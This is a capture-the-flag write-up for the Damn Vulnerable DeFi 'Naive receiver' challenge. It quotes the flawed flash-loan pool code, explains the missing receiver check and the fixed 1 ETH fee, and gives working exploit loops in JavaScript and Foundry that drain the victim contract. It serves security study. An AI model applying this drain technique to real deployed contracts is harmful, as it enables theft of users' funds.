✅
Naive receiver
access control
There's a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH.
A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH.
Take all ETH out of the user's contract. If possible, in a single transaction.

damn-vulnerable-defi/NaiveReceiverLenderPool.sol at v3.0.0 · tinchoabbate/damn-vulnerable-defi
GitHub
NaiveReceiverLenderPool.sol
The first thing we see is the unusual flash loan fee:
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
If we can charge the user 10 times, then user's fund will be drained.
FlashLoanReceiver.onFlashLoan()
has some issues:function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool) {
if (token != ETH)
revert UnsupportedCurrency();
uint256 balanceBefore = address(this).balance;
// Transfer ETH and handle control to receiver
SafeTransferLib.safeTransferETH(address(receiver), amount);
if(receiver.onFlashLoan(
msg.sender,
ETH,
amount,
FIXED_FEE,
data
) != CALLBACK_SUCCESS) {
revert CallbackFailed();
}
if (address(this).balance < balanceBefore + FIXED_FEE)
revert RepayFailed();
return true;
}
This function does not verify if
receiver == msg.sender
, so anyone can call this function on behalf of another user. Recall that the flash loan is extremely high, so we have a good chance here to drain user's fund.Moreover, note that there is nothing stops us from calling
flashLoan()
multiple times. How is the flash loan fee handled in such case? Take a look at FlashLoanReceiver.onFlashLoan()
:uint256 amountToBeRepaid;
unchecked {
amountToBeRepaid = amount + fee;
}
We see that the fee is added linearly. That means 1 flash loan costs 1 ETH, 2 flash loans cost 2 ETH, and so on. To drain user's fund, we can run 10 flash loans consecutively.
The objective is to drain
receiver
's fund. Request flash loan on behalf of receiver
:it('Execution', async function () {
for (let i = 0; i < 10; i++) {
await pool.connect(player).flashLoan(receiver.address, pool.ETH(), 1, "0x");
}
});
flashLoan()
parameters:receiver.address
->receiver
's addresspool.ETH()
-> lending pool's ETH address1
-> borrow 1 wei"0x"
-> empty calldata
Run test using
yarn
:yarn run naive-receiver

Success
This is a more general solution that does not depend on
receiver
's balance:function exploit() internal override {
vm.startPrank(attacker);
uint256 flashFee = pool.fixedFee();
while( true ) {
uint256 flashAmount = address(receiver).balance - flashFee;
pool.flashLoan(address(receiver), flashAmount);
// we have consumed all the ETH from the poor receiver :(
if( address(receiver).balance == 0 ) break;
}
vm.stopPrank();
}
vm.startPrank()
starts a "long" prank. In contrast, vm.prank()
only pranks the next operation.
Last modified 2mo ago